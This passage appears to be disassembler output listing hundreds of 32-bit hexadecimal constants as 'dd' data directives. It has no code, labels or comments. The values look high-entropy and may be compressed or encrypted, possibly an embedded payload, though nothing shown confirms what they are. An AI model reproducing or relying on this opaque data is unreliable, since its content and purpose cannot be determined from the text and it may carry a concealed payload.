		dd 0C948C5BFh, 0D1557DE1h, 4B92F344h, 7BFEC70h,	56FF17C1h
		dd 5BD9F187h, 0E0283E15h, 8DAFF39h, 5F4BD6B1h, 0CE15B3AFh
		dd 0C2AB8029h, 0EBB3C4D6h, 0DFA9CEF7h, 28A8AF0Dh, 0C607AC57h
		dd 0A349E643h, 0F1F7DB10h, 0B3E9EEF0h, 0B2F18D9Dh, 96A167D1h
		dd 0AA9427E7h, 0DD6454C6h, 6B078852h, 0F97B87D9h, 691D2CB3h
		dd 154C38AFh, 0CA2D8B77h, 3E6D3463h, 3E88573h, 0F6FAD2FEh
		dd 81F6EC9h, 920F4530h,	316D756h, 104B45CFh, 0D3363575h
		dd 0B15A58B0h, 5270F5C8h, 0FFCF01Dh, 995A61Dh, 0B790E079h
		dd 774CA546h, 0F6A511DEh, 82F8F089h, 52EBAEF8h,	0A6CA6116h
		dd 8F2FEB8Dh, 8E5C1120h, 0FAC972F2h, 54695C6Fh,	29F9CE87h
		dd 701F562Ah, 3FCEA1DDh, 0ACA25C68h, 4ABA17D9h,	37749220h
		dd 781FC746h, 7371A6A5h, 33F73849h, 63FA0D38h, 4597BA5Bh
		dd 41E37DBAh, 2BDAAE2Ah, 0B51AC6EBh, 35904185h,	0FBFBDD35h
		dd 0F1DBDEB8h, 64F03EB0h, 7C80A846h, 40FEFD8Bh,	34F766B2h
		dd 0C185A1D1h, 82FF358Eh, 398B94ACh, 3504B622h,	0A81BBA03h
		dd 602A696Eh, 1A64A1F9h, 0CB89367Ah, 2AA0B295h,	0BFADA2FBh
		dd 735299A7h, 7EC55A1Dh, 0A116882Dh, 5811F197h,	0F524CC2Bh
		dd 8563771Eh, 7EC4F554h, 56B2F860h, 79C1DE15h, 5EA43013h
		dd 44C3DFC0h, 35B9A4A5h, 99F040DCh, 31550F1Ah, 0A1605429h
		dd 0B1705E27h, 85D1E9BAh, 0D5D05FF4h, 7E1B9931h, 3A76894Ch
		dd 0FB9CB471h, 0FD2A56F0h, 504529C1h, 72785C2Ch, 0AD334EAFh
		dd 3EDAAF3Ch, 0CC08A701h, 2A025014h, 0E620F742h, 28AE9046h
		dd 40FC6045h, 5D2049C4h, 53EA0254h, 26B8EE13h, 1C7C463Ch
		dd 0C09EE709h, 982329D0h, 260477A0h, 28BF5818h,	617A10C0h
		dd 8F4053E5h, 0A43E6205h, 4604D4A0h, 27F70A02h,	99205223h
		dd 0E50614F0h, 40586090h, 33A3CB60h, 6F3106A3h,	2684634h
		dd 9E3602A2h, 82AD0A51h, 3020960h, 56608E2h, 2CF1F2CEh
		dd 0AA3B0F5h, 0DB4BE99Fh, 4A9598B4h, 29C1EA38h,	10BFCD08h
		dd 0A8D19BA9h, 2823027h, 0B8A003BAh, 38F8AF30h,	0A29C2734h
		dd 1F1E805Dh, 21CC09EEh, 2880BE90h, 272831BDh, 3D188345h
		dd 0D1D4638h, 0F4509351h, 4C4D518Eh, 34618D18h,	0A150CB1Ah
		dd 7CC81AA1h, 54DE62C7h, 45FC28CEh, 0D3F055C4h,	0A0C4240Ch
		dd 217EA35Fh, 6C1FF183h, 2D4BE145h, 0DCDA6B22h,	3ADAB672h
		dd 6F2BC6D9h, 0A655CC89h, 6B1A9F85h, 6F620EDCh,	83AECFD2h
		dd 0FA40D11Bh, 0BE1125Ah, 0FC60B523h, 15DC50Bh,	86BB939Ah
		dd 26EFF75h, 5EC4995Dh,	0A33BBCFDh, 2D12BC3Ah, 0E2F23F86h
		dd 75C5578Ah, 0AAFAED5Bh, 0A60E7B60h, 55F01531h, 0F1E469FEh
		dd 48E60DFFh, 0AFC740C9h, 0F620BB55h, 0AC0F0F81h, 8CD3FD9h
		dd 301260F9h, 1107F2E9h, 80E7ECEDh, 0E27C2041h,	0C1AABB2Bh
		dd 0E9F38558h, 5AF23E91h, 0D767EF3Ch, 0D203A5A5h, 0D6E86E93h
		dd 0E0355E8Ah, 0EE9683BEh
		dd 18788425h, 7F3949BDh, 0C46FEE7Bh, 0B81F0F03h, 0F2CBF770h
		dd 1E37E9B4h, 7DA5580Bh, 6B8BA125h, 473781F8h, 58BA93CBh
		dd 8AF83F6Fh, 0E0938DA2h, 16895AA9h, 0EDC1BC2h,	8288D935h
		dd 0A8C634B7h, 31F6C2B0h, 7A1AB86Eh, 0F5F84951h, 75981E54h
		dd 0AEDD2E84h, 40F90EE8h, 0E4D3486Eh, 0C68EEF3Ah, 9A4C8D28h
		dd 0D17F511Bh, 1CEA2812h, 3CCE32AFh, 981615DEh,	21AC2FE1h
		dd 4D64A300h, 0ACDF44BFh, 9869E4C0h, 4E25C0EBh,	54C325D0h
		dd 0C143F119h, 0A8D371CBh, 0F810D688h, 9ABACC29h, 0CAD5842Ch
		dd 0E6F4AE28h, 0B6AB2D50h, 7F3FB1D4h, 0BBAEBAE3h, 34DFE3FCh
		dd 689D3F07h, 0DFA123ECh, 26E6344h, 0BF5771BAh,	32658674h
		dd 8C7AECDFh, 0C7A2ABF4h, 0BD5A0BF2h, 3E553E64h, 4555427Eh
		dd 0B2799DE5h, 0D1BF486Dh, 0AB4BD244h, 0C9F7A69Ah, 9A81D7C4h
		dd 0DBADB707h, 9FC7D405h, 6E36E0D0h, 864E6810h,	40789B77h
		dd 0BDD7E09Ah, 0D5586376h, 0B065CAF7h, 5FF1C53Fh, 488AA465h
		dd 54A8EEA9h, 34692F95h, 0FF3090F2h, 6291A2AAh,	979DBAB1h
		dd 23989B6Ch, 3F1FE36Eh, 0EA27FBDFh, 0DF3B310Ch, 3DA2E04Eh
		dd 617D4A9Eh, 0FF87F570h, 0F80ACD29h, 4F945596h, 0D01C1926h
		dd 0ABCDA6F5h, 5F111AA1h, 511152B5h, 75AB238Bh,	0F95BC043h
		dd 969D2FC4h, 493E82C4h, 0F1AA16E6h, 0F38E2654h, 0A98A54C9h
		dd 780ADD64h, 6B33E016h, 0E63945D7h, 0EDD1D43Ah, 31D21E62h
		dd 378F7073h, 572B42Bh,	0A9C2501Fh, 0DBC19461h,	4F7C5DBBh
		dd 0BEE82BDh, 7075AF5Bh, 17265F40h, 484A350h, 37568BD1h
		dd 4F84D575h, 4174E0F0h, 0E0D81FDDh, 4FC3CFF6h,	832F60F2h
		dd 0FE3C22B8h, 0EAA54F7Ch, 8D682733h, 0EC80F666h, 7DDFBF0h
		dd 0F9131BA4h, 0F00D75FFh, 0AC5C6407h, 75939879h, 9FAC7C56h
		dd 0F77F45BDh, 93D05FF7h, 0C8BCAF87h, 0B1A3B07Bh, 1C19F80Eh
		dd 0F803D6F0h, 0C575F7B0h, 9B319046h, 0CF46B0FCh, 7576F4CBh
		dd 50216F65h, 0A105FEF4h, 0AE4673h, 0F7E9E07Ah,	0D738DF41h
		dd 0CBEBF5BCh, 5B1655A9h, 0DB5EE649h, 0F858D5ADh, 111FE88Dh
		dd 0CFB9AAFDh, 42957A85h, 7DBE6C17h, 1DCF3AA9h,	3B7D2E69h
		dd 0CC721EAAh, 9402ABCCh, 4CF2942h, 75698492h, 8C171E2Ah
		dd 96F67816h, 0B7196A5Eh, 0CD567303h, 0CEF7FDADh, 8AA54D67h
		dd 0CA3C468Fh, 0D6C0A214h, 7F290091h, 0A040D2D9h, 6417E109h
		dd 7F949B6Bh, 57879A2Ch, 0FA20B7CFh, 0BD816FE2h, 45C8D9B5h
		dd 0AA66EBCAh, 0BF161F6Ch, 16DB357Dh, 919A5D03h, 69AEEF83h
		dd 0C884810Dh, 2EDD23F7h, 607CBBACh, 1725564Ch,	0AC58C759h
		dd 2C7B2DB2h, 3854B2F2h, 15FCD7h, 0D2B0CE2Ah, 0D3B34043h
		dd 0D1C40F67h, 0B1A05BC0h, 0AE0D8695h, 54A8B235h, 3CEBCC53h
		dd 0BD6401AFh, 0EFC91BF5h, 607CD9F9h, 161220A4h, 0E95851DFh
		dd 286AE31Dh, 0A1C5C3F1h, 3EBBA3D2h, 3CE968Eh, 75C38DFEh
		dd 0DA193C5Eh, 0C7500C51h, 2CE2EE4Bh, 0FE2F9DEAh, 86781277h
		dd 97752BCAh, 0DC35099Ah, 0BD9E80E9h, 0F2976FF2h, 0D6898CF9h
		dd 44B6CAD8h, 6A4BB983h, 8DF57234h, 0AEE00338h,	4801CD8Fh
		dd 26EB9E55h, 0D2C438F3h, 0A9644F82h, 4FDF81ECh, 70ECDB4Fh
		dd 92BCD34Eh, 0F0E6EBC7h, 0FC31D8DCh, 84F973FEh, 88378891h
		dd 7E0F64B9h, 3B917FCCh, 4A5FC407h, 0EBB5CC3Ah,	211DA592h
		dd 1BCF7851h, 2915E028h, 547F3B15h, 0B32DFF0Fh,	83C0843Bh
		dd 0F4D63D65h, 4A1FC8C4h, 0D8D0AEF1h, 95DE7D6Ch, 0DF2DBA4Ch
		dd 0E5BD1B9Dh, 0C453F92Dh, 1749EC67h, 0BE5491h,	0EFB9480Ah
		dd 8999D4A4h, 0C275A08h, 5F6E83Bh, 0BD9C7533h, 0FC5B336Dh
		dd 17084C72h, 4406134Fh, 0FC1F5E5Fh, 0E1FDC8F7h, 34CE7DD7h
		dd 3333CFB6h, 2C28A91Dh, 355A7A50h, 0B12E7FAFh,	0B0104204h
		dd 12EB7757h, 70691A99h, 14E4319Ch, 4EB01000h, 0C69E562Bh
		dd 7542A101h, 8FA2817Eh, 0A333875Dh, 14ADFFDDh,	5CB622B8h
		dd 95D64AECh, 0DEDAAB68h, 0A3DC00BFh, 57EB1BCDh, 3576F70Bh
		dd 519C9F79h, 0E0EF26h,	0B9A2B9EBh, 14113751h, 5E7C0B13h
		dd 1B47839h, 1279AC7h, 0AFCD8878h, 0B08217A8h, 0A1C37540h
		dd 16F5F929h, 0EADD11ECh, 9FDEA8FBh, 18590BF5h,	46D12582h
		dd 0D88DE2E4h, 7BAA7F38h, 1F709695h, 24FC921h, 4DE1D9FEh
		dd 3AEAAF07h, 0D4FB67D7h, 0FE5B7118h, 89B4A7F2h, 0DDC5D3A9h
		dd 7AE317F4h, 40F85409h, 8A056037h, 0B9CAEA8Bh,	29ECEC35h
		dd 0C9FBD93Fh, 8D59EB03h, 0F7A60BCh, 0D4F54071h, 93E4292Ah
		dd 0DCC26083h, 0A6F5014Fh, 7DD4EBB4h, 5D7068D1h, 0C315DE27h
		dd 0D27D0215h, 882E2339h, 155753C6h, 0A0490D2Ch, 9E5E34DCh
		dd 8F9259E9h, 0DBEA2B38h, 0AEF3E300h, 0AD2350B6h, 0CD6CE1C0h
		dd 0FB581FADh, 2F84AFE0h, 0ADAD9BE2h, 0FEF13FD3h, 0BA1B247Eh
		dd 0A411B8AAh, 258FBC8h, 0ACDB18Eh, 4C568BE7h, 7D1FCA2h
		dd 6DF70BF9h, 0C41CF770h, 1F5AD5B2h, 8ABC4E9Fh,	791DDE31h
		dd 2E55FA38h, 0D66A3A53h, 54276BBEh, 0ADD1B49h,	9EF3C392h
		dd 97462BFDh, 0D902081Ah, 0B1FD52F0h, 2E70B796h, 0DF5EC0F1h
		dd 0A51BF90Fh, 0CD43136Fh, 567F285Ah, 0FB81F8D9h, 64EBA1E0h
		dd 62B71404h, 7EEEE663h, 16B47238h, 0BA6980BEh,	7C325E2Dh
		dd 25015858h, 0EC7F5452h, 4DA55ED1h, 0B3FC4072h, 0B9E8CEh
		dd 0F96EFB67h, 80FFDE6h, 0E20BB83Ch, 0E44FF6D2h, 49E67720h
		dd 52A6FE41h, 3022F5EEh, 0EBA512CAh, 0FB258D94h, 96F904CDh
		dd 0C85B60BAh, 89C8AE86h, 19689BBAh, 0DB6C5340h, 11597F0Bh
		dd 0CDD721E1h, 294114CFh, 34B9F189h, 0F47EB415h, 765C1419h
		dd 40A2F6ABh, 5814E887h, 0C7439DA8h, 5A3104AFh,	0FBC5B54Ch
		dd 0B5F74D5Ch, 7AEAE13Dh, 0BA9C0B36h, 7C5529Eh,	0F1B1A5F8h
		dd 5C5B199Bh, 797F9573h, 0E1FABD81h, 86021B9Ah,	0B5E75E25h
		dd 0B7D68EA6h, 6C70E770h, 487E1BDDh, 156F36DBh,	629B3893h
		dd 75EC72A6h, 0DA37BCDBh, 0D6B783C0h, 8AB7D18Ch, 0D279EE0Eh
		dd 0BD0284Ch, 0D6021136h, 0C3B4EA5h, 0D68A9618h, 0BAD4554Dh
		dd 0D455B875h, 6FBF5D41h, 53F9A0CDh, 9D846EAEh,	3B17DCAEh
		dd 0C7F1E102h, 0EBC98212h, 8743EB77h, 59FBF16Bh, 15DC7D99h
		dd 2B6EE5B1h, 0A5224E38h, 6394137h, 0FA2E65D8h,	4896B17Eh
		dd 16822B3h, 15F471F4h,	80F6B83Ch, 282824ECh, 7F464947h
		dd 0DFDBAAD9h, 5FC3A711h, 0BF57DAD1h, 0BF9A4039h, 0EE48066Ah
		dd 0D5D787E2h, 3ED1F56Dh, 0C4FD3857h, 5A29A1D9h, 0EDFF7B9h
		dd 0FF575222h, 0B2CADF4Fh, 0A2BDA6Fh, 16AC5178h, 3C55F912h
		dd 0C0EB2FFCh, 7C98E3E9h, 0A9F0FC05h, 0CDF69E17h, 5415657Dh
		dd 0B858FBB9h, 3A76259Fh, 0CCFA50B5h, 0FC895F6h, 53A281F5h
		dd 546C28F0h, 7CA62DEDh, 1AB66E0Dh, 55D8CAD6h, 4639DABFh
		dd 0DE9618B2h, 6115F163h, 3A0ABD9Fh, 43F05620h,	742513F7h
		dd 28644D7Fh, 16CA437Ch, 90E024A2h, 5E28F185h, 7CD54D1Eh
		dd 903972F3h, 93BD85F5h, 2010C55Ah, 0D15FD977h,	5DAC2F2Fh
		dd 7A4A565Eh, 0BBF5DB68h, 1DA4EE89h, 20DCD75Bh,	69742B41h
		dd 0D43990F9h, 0CAB8CE28h, 249E0AA9h, 7F5AE051h, 689DD53Eh
		dd 0F30D5CEh, 146FEF81h, 33A1C379h, 7A01BB9Bh, 0E0DA2670h
		dd 7A7719C2h, 0C8C9BB4Fh, 1F0B8077h, 354DF96Bh,	8F4D7F89h
		dd 0CC3D3EF4h, 0BBC8817h, 0DEEBF8C4h, 0D555AE22h, 9E55FE66h
		dd 67276AEAh, 0F9548ABAh, 58D919CBh, 0CA6802B4h, 19561380h
		dd 8B5FD14h, 3F1F557Bh
		dd 51AA583Fh, 0BF595739h, 0D1D9FEE2h, 5461F85Ah, 66C543A6h
		dd 0DC6F5727h, 0EA82BB5Eh, 0E5A2616Dh, 5189A79Bh, 0A1DCD04Eh
		dd 621574B5h, 0ABD48960h, 0FBC3F1B9h, 276C1165h, 90999E4Ch
		dd 5CAFD653h, 0E59CE455h, 76373C13h, 3FA4BF1Eh,	0FF1D18DEh
		dd 0E6116654h, 0D7E1A0BFh, 84B99128h, 7E32956Eh, 1E3CCE39h
		dd 0FF121BA1h, 5559849Fh, 0C8A46B90h, 97D1AFCFh, 0EE07C5AFh
		dd 0C84C7D45h, 0C9F76475h, 9C617E14h, 52F18BF6h, 2E3E3766h
		dd 0FFC1F039h, 4968AF4Ah, 0AE24D6BDh, 5A092EBh,	0D7A9B397h
		dd 43F13B58h, 0EABED969h, 53531493h, 6361A96Dh,	0F2AF8E7h
		dd 5C78EBADh, 30DDB75Ah, 5B2997AEh, 1BFA19CDh, 749D5E20h
		dd 0AF4ED70h, 0FC25B15Dh, 2D675E94h, 5301B246h,	0FC711BFDh
		dd 0AD1962A3h, 2F48E768h, 55F16A57h, 0C6854A1Eh, 450726Eh
		dd 0A21DFEB6h, 3AE2C340h, 0D0A46F13h, 317260EAh, 88BFC98Dh
		dd 83F041C2h, 0B7E5864Bh, 0E3997E5Bh, 46AD217Ah, 8117E44Dh
		dd 247C1C09h, 6B753BFBh, 6C81B9BFh, 4D79B8BEh, 30992BF4h
		dd 0FD1C82FBh, 264FF195h, 0F0CC08C7h, 714283EEh, 4EA152AFh
		dd 0E079F2FBh, 0FFAA36BFh, 0D5F4203Eh, 0B85966C3h, 26CBBDBAh
		dd 0DF08D61Fh, 8AD6E951h, 0B45B22F6h, 4C6D65F7h, 3E4FB946h
		dd 0FFA200DBh, 95F8D657h, 0F489BD1Bh, 7B34F4B4h, 80323C4Eh
		dd 488D8E62h, 28AF6CD3h, 8FBBAE04h, 996D3984h, 0A231E311h
		dd 451F0FECh, 0DA1D7043h, 0B64AF766h, 48FDE5Ah,	93A9030Dh
		dd 0FC1BCB44h, 791E9EBFh, 79A3B2A2h, 6B210ECDh,	0A8F5ADEFh
		dd 7CB52C9Bh, 0C4CCF531h, 1AB7B978h, 853B2035h,	7095AC48h
		dd 69A5CABDh, 0E2D89F03h, 0A77A6660h, 2BEB5DA1h, 45765A6Ah
		dd 0B5A3EBD9h, 0B57D8184h, 0E97108DEh, 0BEDB4165h, 14D31567h
		dd 0FAD0601h, 529CDEFFh, 0A5B3B508h, 0CE16B76Fh, 707D216Fh
		dd 597FA77h, 7CE26D1Eh,	0B88DBE9h, 0E6D4DD52h, 0E24D5028h
		dd 7DFC88A8h, 35446EEFh, 0FB03CEEFh, 0E8639A62h, 0FD6E8149h
		dd 0A67AD1F8h, 0B302DD3Fh, 7B0FC053h, 8F2A97ADh, 3FB822Dh
		dd 5E78EA93h, 0ACE0FDC8h, 0AEF0A204h, 6AADD49Dh, 4C5FF49Ch
		dd 0FE57F8C4h, 0DF48D7DFh, 0FA1679E6h, 0DF607C5Ah, 0BACD3554h
		dd 212DBB1Fh, 6F91E3C8h, 0A47E4545h, 77952C1Dh,	201F693Dh
		dd 31365D79h, 92F8799Dh, 2069A6FDh, 7B6E9FCBh, 0DFF0F6F0h
		dd 0F8827555h, 7D01A67h, 1DC1F9C5h, 0FA2EBB5Fh,	0AFFAF6ECh
		dd 3972B6CAh, 0EE5026B6h, 0CA8DC1F0h, 422D14F0h, 0EC278E83h
		dd 6CC766EFh, 0EF6B86F2h, 5684D75Fh, 0B854BC8Ah, 6A6F876Ch
		dd 5E087F77h, 0FFF5C3AAh, 9FA74AC3h, 713A0DCh, 1BAF9590h
		dd 2B6B5EBCh, 0F9AD713h, 0C2761B8Dh, 17F9F45Bh,	68746815h
		dd 66C6DB4h, 30315639h,	4EE5C93Bh, 257DFFC9h, 9FC21281h
		dd 3CCCDA2Ch, 0BB218BF6h, 5E945A33h, 186D178Ch,	1C319379h
		dd 779F468h, 6D03B9C2h,	0D59DCBA5h, 2A9425C8h, 2B74AD77h
		dd 6D6E3688h, 2586690Eh, 0AC060EB8h, 0B4E149F3h, 1713E7F6h
		dd 6039C78h, 0E62B86B3h, 9AD570Ah, 0CE0F261Ah, 0ABD9842Ch
		dd 42FEF16Ch, 5ABA4EE7h, 12D1B5DBh, 0E1CFFA0h, 0FF0D5A8Ch
		dd 0B4A21883h, 0AA648BB8h, 0E5990556h, 0A8732370h, 0DF19CE6Ch
		dd 6D0AB51Bh, 5ABEB5FDh, 4AFB25DDh, 6727E84Ah, 0CA66F250h
		dd 817C0C0Bh, 0BE071135h, 53B2DBE8h, 2D14DE15h,	46995985h
		dd 0C37F4EDBh, 0B7073B4Fh, 0B8640176h, 0DDC5B471h, 0F51D8A8Ah
		dd 0DB85E7CDh, 8C8BA119h, 8949ACA0h, 615AE81Dh,	8817F96Bh
		dd 32BD3DD0h, 46D5D559h, 203DC7A2h, 1B8BE23Bh, 0D0779B4Bh
		dd 4433B2E7h, 0A3441A57h, 1FD9BDCDh, 0F96A015Ah, 0FF078EA4h
		dd 19F72E4Bh, 0AD910D48h, 844F61BAh, 0B468AC61h, 87C6ADE1h
		dd 0D60242F6h, 0E449C6CDh, 6EA8AF89h, 0F012A5F7h, 0AD1F2B76h
		dd 0AE02BCAEh, 49B41CF5h, 64022D57h, 0FABED415h, 9352FD6Dh
		dd 7C972D2Ch, 0ABF51DD3h, 0EB43F150h, 8FE392E7h, 680D6E9Ch
		dd 950E89F2h, 0D4C17C5Eh, 5F9879D2h, 92E950D4h,	8D245034h
		dd 6FF739A3h, 86992A51h, 0CB455BE8h, 3CE76B7Ch,	6A2F8260h
		dd 0BBC2C14Ah, 6940A9D6h, 5BC144AAh, 0A285E1B4h, 80AF9BEAh
		dd 956F88FFh, 0D748AB4Ch, 5DE7ED29h, 5C6C47F4h,	0B7AE9058h
		dd 0DE137824h, 78388340h, 9875F41Dh, 6E6FAF86h,	0DFB2BCD4h
		dd 0C5ED162Dh, 84BDFE69h, 0BCFD1760h, 34B0D3C0h, 0C728B9F1h
		dd 5A68AE94h, 89C6A1DCh, 785BF741h, 36CDF05Dh, 0D97C5FFBh
		dd 0BA6AE2F5h, 4F46ED56h, 97F4B158h, 106AB225h,	7E0C67D8h
		dd 8940519Bh, 4B963E38h, 0F48B5B50h, 9C07564Bh,	0C9C4C14Ch
		dd 129192F0h, 0F79FF3B5h, 4B45CB75h, 2382AA05h,	0DCCA0A97h
		dd 274293F6h, 0E32C7892h, 0EA15B73h, 0AF7C00B3h, 8BCD9BF7h
		dd 78BCBEABh, 543F13D0h, 7C27BC13h, 0D3FCCD29h,	0DC279664h
		dd 0E2813707h, 0DF1DE303h, 0E78DE425h, 0A7386D4h, 9121E4EEh
		dd 7BE56B22h, 0B0AEF432h, 3AE2CB53h, 0E82AB0FAh, 7E8056A5h
		dd 0F952E0A8h, 0DA3CD80Ah, 376AB2D0h, 85CF0652h, 6C5FD3C2h
		dd 855E1F6Dh, 0B8F7D55Eh, 0FA629045h, 0D6D54525h, 5204855Ah
		dd 2C8D6483h, 0AF86B0h,	951A4BF7h, 0E0CB0D5Bh, 28205BF1h
		dd 0BDE2FE55h, 0A80C79D5h, 6656A93Ch, 0B3729749h, 2AAF682Dh
		dd 709EF354h, 33CA6778h, 442C1FB5h, 1D9BF5DCh, 0C5FABEEFh
		dd 235C6DA3h, 5E1355CAh, 6F0418Eh, 60FF9260h, 2C98AAB8h
		dd 808B80A2h, 81B0F6FEh, 9C20A75Fh, 0E0F0A0EEh,	0D1A79CA7h
		dd 0BF115FE4h, 44B40803h, 0EB26276Eh, 0E681EB58h, 91E8F6B8h
		dd 1FB6B7F3h, 2E822BE6h, 15052FD9h, 0F3DA254Ah,	0D84D58D7h
		dd 3BA789D3h, 0F6E7E7EFh, 0A8017AB2h, 0FABC3F91h, 4572BD19h
		dd 0A860C637h, 5D0B5004h, 96FBA418h, 42FC9C15h,	1E85132Fh
		dd 0F12F7FBEh, 793A3C10h, 50334682h, 0C055D019h, 0B956ECEEh
		dd 2FD6E32Dh, 2EB4487Ah, 0B01913A2h, 811E6AE2h,	7B281C7Eh
		dd 2AF59DB7h, 9762FBDBh, 0AC0DFBC5h, 3E30A0FAh,	74E18AAEh
		dd 56568B7Eh, 107BCECDh, 5C2AB4D6h, 15C804h, 21FFC56Dh
		dd 0F7955AC4h, 0BB3EDB97h, 0FA4DBE89h, 2BD6E113h, 60F8F60Dh
		dd 0A2B0012Ch, 92A7F27h, 0EC82B641h, 3CF92CA5h,	20FD737h
		dd 89AE9153h, 0F481FF9Ch, 2D4C9991h, 22DAFC15h,	84C87E22h
		dd 54BA96EDh, 0C03AE9A6h, 5F88D97Dh, 0C867A17Ch, 0D88DA328h
		dd 0EA93EDB0h, 0F50575B2h, 0EC02BACCh, 63F43155h, 8F4FD46Bh
		dd 0E2AC3C9h, 50DD289Dh, 90FC140Ah, 7621FBAAh, 5AB8A445h
		dd 399D5225h, 0F80DE25Fh, 7FEB810Dh, 0EAED8EC0h, 0CA5864A8h
		dd 0DF9D8B5Bh, 4A1E97DFh, 64157D48h, 0DE059EE6h, 0E703F7A4h
		dd 0D88BCF80h, 0B75D34C5h, 0AE47D66Fh, 154AD18Ch, 9CF7571Ch
		dd 0C352D987h, 4760A1C1h, 1C055DB6h, 9B750435h,	0F5D7AF9Ch
		dd 0AD50AD25h, 0C1E42F9Ch, 770A7CBBh, 0FCD9954h, 545C2A0Bh
		dd 0B4826134h, 3AF755BEh, 4530B26Fh, 0C6D8404Bh, 74A63C06h
		dd 0C8437957h, 5E631658h, 0CBB5BB11h, 2784428h,	0FF866170h
		dd 0A2B1E3AAh, 0AE7B33A2h, 826923B8h, 1F84F0BEh, 3AA373Dh
		dd 0E7646A89h, 2AC0F9A4h, 19DFACEDh, 6262FF7Dh,	0C1C2544Ah
		dd 29D665FBh, 0AD966F28h, 0A045FAC3h, 9AC0C77Ah, 0B353792h
		dd 5AB18933h, 0EE685432h, 49E57075h, 0AD73F01Ah, 0E9D56A09h
		dd 69B122FBh, 57CE5A26h, 578C1CF1h, 0E5FBF359h,	0E8AE92F7h
		dd 0EF70F3Fh, 5FAA3AA9h
		dd 0BCDC2E5Eh, 0F71BAFC5h, 40AB4AD6h, 0D2A9776Ch, 7A8A8365h
		dd 0DEC1B5A8h, 212731EFh, 8428AF94h, 6A41FE1Eh,	73DBC8E9h
		dd 0A8427DBBh, 0B82B617Fh, 545B813Dh, 0C7A84E44h, 3D3E5DEh
		dd 0D0C617D4h, 6FC88852h, 8505A2DCh, 73935EADh,	4642F4Eh
		dd 4D469395h, 6BACF60h,	60617CE7h, 0C9A69F7Eh, 13ACBB04h
		dd 6EADD767h, 0EB9B9A55h, 0B549D94Fh, 0A2CA25C5h, 7A91BF82h
		dd 0E9C2E2F5h, 0E4D11792h, 0AA67EA83h, 7B568672h, 0E1B991FCh
		dd 0DF0033C8h, 0ABC02CFAh, 8F0D3B5Fh, 0E982210Ah, 0FBDDD80h
		dd 55AA2979h, 2D1445F5h, 0B493FDC8h, 0CE858FE3h, 405BA77h
		dd 92EECC88h, 56E9457h,	7EC74528h, 3315FEA9h, 382D66F0h
		dd 3F888783h, 1BA302DDh, 9E2817B7h, 348CEB83h, 42FBCD29h
		dd 6835BCE3h, 671778A4h, 395EF0EAh, 0D69AB012h,	0B08AE966h
		dd 783E2572h, 20D1712Fh, 0B2A13DC4h, 3F7DDC9Dh,	3FDFA199h
		dd 91F3C0F7h, 0CC4D2CD6h, 0D680A58h, 7BF6241h, 958FB967h
		dd 1CDFAD8Dh, 8F3B4B15h, 7B46AEF3h, 2B5E6BB7h, 0DA55DD08h
		dd 735B1946h, 0B547955Eh, 0C2701168h, 9DE57417h, 6F7E6A3Ah
		dd 7175864Dh, 0F7B2978h, 50CC9BCCh, 505158B9h, 6FFE0115h
		dd 6C9EAC2Ch, 6D2C008Bh, 0EE96E0ADh, 55E5838Dh,	0BF771F31h
		dd 51E494F0h, 0B09DB030h, 0FE6CBEBEh, 27761C42h, 0B96C4C4Ch
		dd 768DBACh, 0F0681FDh,	95E90BFEh, 7C94DD0Eh, 3C117E33h
		dd 8C5F74F7h, 1F9DD9EAh, 0F08BF3F7h, 74E906F9h,	4F52C9CCh
		dd 0BDE5C196h, 0DBF31E25h, 9E8FF6FDh, 457977EFh, 48157053h
		dd 351C4A54h, 0D1B4157h, 0D1D116F2h, 38D05E05h,	0F006202Ah
		dd 55CABE7Bh, 5ADC7ABBh, 0D08A2C2Eh, 0CAAE65E4h, 39D407B1h
		dd 3396C125h, 1D3D4474h, 0CC0EB6ACh, 8958BB05h,	32D585D5h
		dd 1A93C7E0h, 5210D1E1h, 672B5D59h, 0AA94ADF0h,	6EF065CCh
		dd 2E3D5EEEh, 0BDA2E3AAh, 533DBE33h, 2C4C69D4h,	0AB457C88h
		dd 70177B13h, 0C7F64F46h, 0AA253365h, 5EDA45F2h, 0B45FEE85h
		dd 0B21A1709h, 537328A9h, 0AE6CDFCCh, 23EE6AA2h, 0A92CC262h
		dd 243DBF98h, 0ACE2E03h, 0C5F2C5CEh, 92E26138h,	6BFC4ACBh
		dd 0DC851262h, 3D749DB2h, 0EA34254Ah, 1B0FC3FDh, 0FB66092Eh
		dd 33271E43h, 11EF6B97h, 40AAB579h, 0AAE6C1D7h,	0B3B839C6h
		dd 8FCD2571h, 0CB473F38h, 1A672AD8h, 7A291CECh,	4F96BFCBh
		dd 0A3E20968h, 0E51C05BDh, 64A94BC2h, 595E417Ch, 7720A051h
		dd 2249EA10h, 1875119Bh, 4787E9E8h, 0E1603E53h,	0BE5DB64Dh
		dd 4854B830h, 253A937Ch, 6C0D75E6h, 6B81EE87h, 0E0E7D5C7h
		dd 0FCE96F66h, 4B0F311Dh, 8BD3BD4h, 0A181F7F4h,	0FA2FBCF9h
		dd 5713E8BEh, 0D5B1B3BBh, 49EC0715h, 0D702C95Fh, 43135523h
		dd 5AB46729h, 0C37F52FCh, 43F05CC7h, 89DA6CEEh,	0A1E5D47Eh
		dd 0F1B8B0D7h, 53F130F3h, 0EAF707D7h, 13C0F5AEh, 0D989849Dh
		dd 0E5BB8D56h, 6A62AE53h, 695E79E4h, 0A56CDE84h, 0ADB5A525h
		dd 9773959h, 492B7285h,	0EE4668FAh, 0ADE6041Eh,	84316473h
		dd 4DACBF73h, 0CBFC7EB8h, 59BC71DDh, 36C4E43h, 15D6C5BAh
		dd 8CD63389h, 68CBE4F5h, 0BFC7716h, 0F0CFA745h,	0F9D5BB87h
		dd 8D51AAD5h, 5BF13E2Ah, 0AD4ABA20h, 0B82D0E2Dh, 4F83E4FFh
		dd 9749C4A6h, 607EDB2Fh, 3CAB62A8h, 485A97F1h, 4B37D645h
		dd 2D8FBF99h, 1B0D8DC0h, 0F4EE717Bh, 678F38A0h,	96EEDAAh
		dd 0DAB507CDh, 0AAA597E4h, 58E51BDAh, 75A3D7C5h, 107A2441h
		dd 5A9A7748h, 4C6F26Ch,	0AEE28B71h, 717FDAECh, 8E7ABED9h
		dd 13FB2705h, 3F538810h, 9B4FCE55h, 0A47EAC3Ch,	2F0BF103h
		dd 1F3C3964h, 9454BF53h, 0C5A91BFAh, 3DB54E02h,	1306113Bh
		dd 34114B83h, 0ADA805BFh, 0F79E06A6h, 2983F2C1h, 18F590Eh
		dd 0E1AEF94Bh, 0CB3B9045h, 0ABEDF4E9h, 55E7D603h, 1E0C5412h
